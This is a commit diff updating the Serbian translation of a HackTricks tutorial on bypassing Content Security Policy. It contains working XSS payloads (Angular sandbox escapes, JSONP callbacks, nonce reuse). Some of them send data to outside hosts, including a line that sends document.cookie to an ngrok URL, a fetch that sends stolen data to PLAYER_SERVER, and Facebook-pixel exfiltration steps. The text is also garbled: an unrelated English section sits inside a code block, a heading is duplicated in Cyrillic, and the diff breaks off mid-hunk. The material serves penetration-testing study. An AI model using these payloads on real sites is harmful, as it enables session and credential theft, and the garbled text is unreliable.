mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/content-security-policy-csp-bypass/README.md
This commit is contained in:
parent
4b925dcd96
commit
83a41fe322
1 changed files with 121 additions and 91 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -24,7 +24,7 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
|||
**Vesti o hakovanju u realnom vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Poslednje najave**\
|
||||
**Najnovije najave**\
|
||||
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
@ -48,7 +48,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
CSP može biti sproveden ili praćen korišćenjem ovih zaglavlja:
|
||||
|
||||
* `Content-Security-Policy`: Sprovodi CSP; pregledač blokira svako kršenje.
|
||||
* `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja bez blokiranja. Idealno za testiranje u pre-produkcionim okruženjima.
|
||||
* `Content-Security-Policy-Report-Only`: Koristi se za praćenje; prijavljuje kršenja bez blokiranja. Idealno za testiranje u preprodukcionim okruženjima.
|
||||
|
||||
### Definisanje Resursa
|
||||
|
||||
|
@ -80,7 +80,7 @@ object-src 'none';
|
|||
* **base-uri**: Specificira dozvoljene URL-ove za učitavanje koristeći elemente `<base>`.
|
||||
* **form-action**: Navodi validne endpointe za podnošenje formi.
|
||||
* **plugin-types**: Ograničava mime tipove koje stranica može pozvati.
|
||||
* **upgrade-insecure-requests**: Naređuje pretraživačima da prepišu HTTP URL-ove u HTTPS.
|
||||
* **upgrade-insecure-requests**: Naređuje pregledačima da prepišu HTTP URL-ove u HTTPS.
|
||||
* **sandbox**: Primenjuje ograničenja slična atributu sandbox za `<iframe>`.
|
||||
* **report-to**: Specificira grupu kojoj će izveštaj biti poslat ako je politika prekršena.
|
||||
* **worker-src**: Specificira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
|
||||
|
@ -91,13 +91,13 @@ object-src 'none';
|
|||
|
||||
* `*`: Dozvoljava sve URL-ove osim onih sa šemama `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Dozvoljava učitavanje sa istog domena.
|
||||
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 kodirane slike).
|
||||
* `'data'`: Dozvoljava resurse da se učitavaju putem data šeme (npr. Base64 enkodirane slike).
|
||||
* `'none'`: Blokira učitavanje sa bilo kog izvora.
|
||||
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz sigurnosnih razloga.
|
||||
* `'unsafe-hashes'`: Omogućava specifične inline event handlere.
|
||||
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa poput inline `<script>` ili `<style>`, nije preporučljivo iz sigurnosnih razloga.
|
||||
* `'nonce'`: Lista dozvoljenih specifičnih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
|
||||
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
|
||||
* `'nonce'`: Bela lista za specifične inline skripte korišćenjem kriptografskog nonce-a (broj korišćen jednom).
|
||||
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje zlonamerne skripte (ako je korišćen strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -115,13 +115,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
|
||||
* `'sha256-<hash>'`: Whitelists scripts with a specific sha256 hash.
|
||||
* `'strict-dynamic'`: Dozvoljava učitavanje skripti sa bilo kog izvora ako je dodat na belu listu pomoću nonce-a ili heša.
|
||||
* `'host'`: Specificira određeni host, kao što je `example.com`.
|
||||
* `'host'`: Specificira određeni domen, kao što je `example.com`.
|
||||
* `https:`: Ograničava URL-ove na one koji koriste HTTPS.
|
||||
* `blob:`: Dozvoljava resursima da se učitavaju sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).
|
||||
* `blob:`: Dozvoljava resursima da se učitavaju sa Blob URL-ova (npr. Blob URL-ova kreiranih putem JavaScript-a).
|
||||
* `filesystem:`: Dozvoljava resursima da se učitavaju sa fajl sistema.
|
||||
* `'report-sample'`: Uključuje uzorak koda koji krši pravilo u izveštaju o kršenju (korisno za debagovanje).
|
||||
* `'strict-origin'`: Slično kao 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitati resurse sa sigurnih izvora).
|
||||
* `'strict-origin-when-cross-origin'`: Šalje kompletne URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev preko granice.
|
||||
* `'report-sample'`: Uključuje uzorak koda koji krši pravila u izveštaju o kršenju (korisno za debagovanje).
|
||||
* `'strict-origin'`: Slično kao 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
|
||||
* `'strict-origin-when-cross-origin'`: Šalje kompletne URL-ove prilikom pravljenja zahteva istog izvora, ali šalje samo poreklo kada je zahtev preko granice izvora.
|
||||
* `'unsafe-allow-redirects'`: Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer oslabljuje sigurnost.
|
||||
|
||||
## Nekorektna CSP pravila
|
||||
|
@ -148,7 +148,7 @@ Radni payload:
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer dozvoljeni skript kreira, **novi tag skripte će biti dozvoljen za izvršavanje**.
|
||||
Ako na neki način možete da naterate **dozvoljeni JS kod da kreira novi tag skripte** u DOM-u sa vašim JS kodom, jer ga kreira dozvoljeni skript, **novi tag skripte će biti dozvoljen za izvršavanje**.
|
||||
|
||||
### Zvezdica (\*)
|
||||
```yaml
|
||||
|
@ -183,15 +183,15 @@ Radna payload:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Međutim, vrlo je verovatno da server **validira** otpremljenu datoteku i dozvoljava vam samo da **otpustite određenu vrstu datoteka**.
|
||||
Međutim, vrlo je verovatno da server **validira** otpremljeni fajl i dozvoljava samo da se **otpreme određeni tipovi fajlova**.
|
||||
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip fajla na osnovu ekstenzije** i pregledači poput Chrome-a će **odbaciti izvršavanje Javascript** koda unutar nečega što bi trebalo da bude slika. "Na sreću", postoje greške. Na primer, iz jednog CTF-a sam naučio da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
|
||||
Odavde, ako pronađete XSS i otpremanje datoteke, i uspete da pronađete **pogrešno protumačenu ekstenziju**, možete pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljene datoteke, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
|
||||
Odavde, ako pronađete XSS i otpremanje fajla, i uspete da pronađete **pogrešno tumačenu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremljenog fajla, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Forma-akcija
|
||||
### Form-action
|
||||
|
||||
Ako nije moguće ubaciti JS, još uvek možete pokušati da eksfiltrirate na primer pristupne podatke **ubacivanjem akcije forme** (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, primetite da `default-src` ne pokriva akcije formi.
|
||||
Ako nije moguće ubaciti JS, još uvek možete pokušati da eksfiltrirate na primer kredencijale **ubacivanjem akcije forme** (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, primetite da `default-src` ne pokriva akcije formi.
|
||||
|
||||
### Endpoziti trećih strana + ('unsafe-eval')
|
||||
|
||||
|
@ -201,7 +201,7 @@ Za neke od sledećih payloada **`unsafe-eval` nije čak ni potreban**.
|
|||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Učitajte ranjivu verziju angular-a i izvršite proizvoljni JS:
|
||||
Učitajte ranjivu verziju Angular-a i izvršite proizvoljni JS:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
|
@ -250,13 +250,11 @@ Post pokazuje da biste mogli **učitati** sve **biblioteke** sa `cdn.cloudflare.
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
### Bypassing Content Security Policy (CSP) using Angular XSS from a class name:
|
||||
### Angular XSS iz naziva klase:
|
||||
|
||||
---
|
||||
---
|
||||
|
||||
### Zaobilaženje politike bezbednosti sadržaja (CSP) korišćenjem Angular XSS iz naziva klase:
|
||||
|
||||
---
|
||||
### Angular XSS из имења класе:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -292,19 +290,19 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
#### Zloupotreba www.google.com za otvoreno preusmeravanje
|
||||
|
||||
Sledeći URL preusmerava na example.com (odavde):
|
||||
Sledeći URL preusmerava na example.com (odavde).
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Zloupotreba \*.google.com/script.google.com
|
||||
Zloupotreba \*.google.com/script.google.com
|
||||
|
||||
Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [uradjeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Endpoziti treće strane + JSONP
|
||||
### Treće strane Endpoints + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu može biti zaobiđen korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
|
||||
Scenariji poput ovog gde je `script-src` postavljen na `self` i određeni domen koji je dodat na belu listu mogu biti zaobiđeni korišćenjem JSONP-a. JSONP endpointi dozvoljavaju nesigurne povratne metode koje omogućavaju napadaču da izvrši XSS, radno opterećenje:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -316,30 +314,50 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP endpointove za CSP zaobilaženje različitih veb lokacija.**
|
||||
|
||||
Ista ranjivost će se pojaviti ako **pouzdani endpoint sadrži otvoreno preusmeravanje** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
|
||||
Ista ranjivost će se desiti ako **pouzdani endpoint sadrži Preusmeravanje otvorenog redirekta** jer ako je početni endpoint pouzdan, preusmeravanja su pouzdana.
|
||||
|
||||
### Zloupotrebe trećih strana
|
||||
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koji su možda dozvoljeni negde u CSP-u, a mogu se zloupotrebiti kako bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koji bi mogli biti dozvoljeni negde u CSP-u, a mogu biti zloupotrebljeni da bi se ili eksfiltrirali podaci ili izvršio JavaScript kod. Neke od ovih trećih strana su:
|
||||
|
||||
| Entitet | Dozvoljeni domen | Mogućnosti |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracija |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracija |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvršavanje |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracija, Izvršavanje |
|
||||
| Amazon AWS | \*.amazonaws.com | Eksfiltracija, Izvršavanje |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracija, Izvršavanje |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracija, Izvršavanje |
|
||||
| Google Firebase | \*.firebaseapp.com | Eksfiltracija, Izvršavanje |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Eksfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Izvrši |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Eksfil, Izvrši |
|
||||
| Amazon AWS | \*.amazonaws.com | Eksfil, Izvrši |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfil, Izvrši |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Eksfil, Izvrši |
|
||||
| Google Firebase | \*.firebaseapp.com | Eksfil, Izvrši |
|
||||
|
||||
Ako pronađete neki od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
|
||||
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji mogućnost da možete zaobići CSP registracijom na uslugu treće strane i, ili eksfiltrirati podatke na tu uslugu ili izvršiti kod.
|
||||
|
||||
Na primer, ako pronađete sledeći CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
ili
|
||||
## Bypassing Content Security Policy (CSP)
|
||||
|
||||
### Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
|
||||
### Bypassing CSP using `unsafe-inline`
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which can be exploited by an attacker to execute malicious code.
|
||||
|
||||
### Bypassing CSP using data: URIs
|
||||
|
||||
Another technique to bypass CSP is by using data: URIs to embed external resources inline. By converting the external resource into a base64-encoded string, it can be included inline in the HTML document, bypassing CSP restrictions.
|
||||
|
||||
### Bypassing CSP using loopholes
|
||||
|
||||
Attackers can also exploit various loopholes in the CSP configuration to bypass its protections. This can include manipulating the policy directives, abusing browser quirks, or finding ways to evade CSP restrictions.
|
||||
|
||||
### Conclusion
|
||||
|
||||
While Content Security Policy is an effective security measure, it is important to be aware of the potential bypass techniques that attackers can use. Regularly reviewing and updating CSP configurations can help mitigate the risk of bypassing CSP protections.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
@ -349,10 +367,10 @@ Treba da možete da eksfiltrirate podatke, slično kao što je to uvek rađeno s
|
|||
2. Napravite novu "Facebook Login" aplikaciju i izaberite "Website".
|
||||
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
|
||||
4. Na ciljnom sajtu sa kog želite da eksfiltrirate podatke, možete to uraditi direktno koristeći Facebook SDK uređaj "fbq" putem "customEvent" i podataka za prenos.
|
||||
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Idite na svoju aplikaciju "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se pronaći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Izaberite karticu "Test Events" da biste videli događaje koje šalje "vaš" veb sajt.
|
||||
|
||||
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga app-id i izdajte prilagođeni događaj kao što je ovaj:
|
||||
Zatim, na strani žrtve, izvršite sledeći kod da biste inicijalizovali Facebook praćenje piksela da pokazuje ka aplikaciji napadačevog Facebook developer naloga i izdate prilagođeni događaj ovako:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
@ -369,17 +387,17 @@ Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, mož
|
|||
```
|
||||
Browser će konačno učitati `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Ovo funkcioniše jer za preglednik, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||
Ovo funkcioniše jer za pregledač, učitavate datoteku nazvanu `..%2fangular%2fangular.js` smeštenu pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||
|
||||
Zato će dekodirati to, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno sa `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
**Iskorišćavanjem ove neusaglašenosti u tumačenju URL-a između preglednika i servera, pravila putanje mogu biti zaobiđena**.
|
||||
**Iskorišćavanjem ove neusaglašenosti u interpretaciji URL-a između pregledača i servera, pravila putanje mogu biti zaobiđena**.
|
||||
|
||||
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući dosledno tumačenje između preglednika i servera kako bi se izbegao ovaj problem.
|
||||
Rešenje je ne tretirati `%2f` kao `/` na serverskoj strani, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.
|
||||
|
||||
Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Izvršavanje JS koda putem iframes
|
||||
### Izvršavanje JS preko iframes
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -389,33 +407,31 @@ Online Primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.c
|
|||
|
||||
Ako nedostaje direktiva **base-uri** možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Osim toga, ako se **stranica učitava skriptom koristeći relativnu putanju** (kao `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
|
||||
Osim toga, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da naterate da se skripta **učita** sa **vašeg servera postižući XSS.**\
|
||||
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### AngularJS događaji
|
||||
|
||||
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen da bi se zaobišla CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji drži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike bekstva iz peska.
|
||||
Specifična politika poznata kao Politika bezbednosti sadržaja (CSP) može ograničiti JavaScript događaje. Međutim, AngularJS uvodi prilagođene događaje kao alternativu. U okviru događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na nativni objekat događaja pregledača. Ovaj objekat `$event` može biti iskorišćen kako bi se zaobišao CSP. Posebno, u Chrome-u, objekat `$event/event` poseduje atribut `path`, koji sadrži niz objekata povezanih sa lancem izvršenja događaja, pri čemu je objekat `window` uvek pozicioniran na kraju. Ova struktura je ključna za taktike za izbegavanje peska.
|
||||
|
||||
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) da pokrene globalnu funkciju poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
|
||||
Usmeravanjem ovog niza ka filteru `orderBy`, moguće je iterirati preko njega, iskorišćavajući terminalni element (objekat `window`) kako bi se pokrenula globalna funkcija poput `alert()`. Demonstrirani odlomak koda ispod objašnjava ovaj proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ovaj odlomak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju nizom `path`, i iskorišćavanje objekta `window` za izvršavanje funkcije `alert()`, čime se otkriva `document.cookie`.
|
||||
Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, korišćenje `$event.path|orderBy` za manipulaciju nizom `path`, i iskorišćavanje `window` objekta za izvršavanje funkcije `alert()`, otkrivajući tako `document.cookie`.
|
||||
|
||||
**Pronađite druge Angular obilaske u** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Pronađite druge Angular zaobilaze na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS i belačka lista domena
|
||||
### AngularJS i belački domen
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
### Bypassing CSP by Invoking Callback Functions and Vulnerable Classes
|
||||
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivom povratnih funkcija i određenih ranjivih klasa. Više informacija o ovoj tehnici može se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Radni payload-i:
|
||||
Radni payloadi:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -423,7 +439,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Druge JSONP proizvoljne izvršne tačke mogu se pronaći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neke od njih su obrisane ili popravljene)
|
||||
Drugi JSONP proizvoljni izvršni endpointi mogu se pronaći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili popravljeni)
|
||||
|
||||
### Bypass putem preusmeravanja
|
||||
|
||||
|
@ -453,9 +469,9 @@ Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serversk
|
|||
|
||||
Sa ovim preusmerenjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.
|
||||
|
||||
Stoga, najbolje rešenje je osigurati da veb lokacija nema ranjivosti na otvorena preusmerenja i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.
|
||||
Stoga, najbolje rešenje je osigurati da veb lokacija nema otvorene ranjivosti za preusmeravanje i da ne postoje domeni koji mogu biti iskorišćeni u pravilima CSP.
|
||||
|
||||
### Zaobilaženje CSP pomoću visećeg markup-a
|
||||
### Zaobilaženje CSP pomoću visećeg markupa
|
||||
|
||||
Pročitajte [ovde](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
|
@ -469,7 +485,7 @@ Ovu CSP možete zaobići eksfiltriranjem podataka putem slika (u ovom slučaju X
|
|||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da biste **izvršili** JS kod (kao redovan XSS) koji će **učitati** sliku, **izdvojiti** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Sa ovom konfiguracijom takođe možete zloupotrebiti **učitavanje JavaScript koda ubačenog unutar slike**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera, možete **napraviti** **specijalnu sliku**, **učitati** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao redovan XSS) koji će **učitati** sliku, **izvući** JS iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Sa Servisnim Radnicima
|
||||
|
||||
|
@ -503,7 +519,7 @@ Primer: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=
|
|||
Primetite nedostatak direktive `'unsafe-inline'`\
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme koje je potrebno stranici da se učita** možete izvući potrebne informacije.
|
||||
|
||||
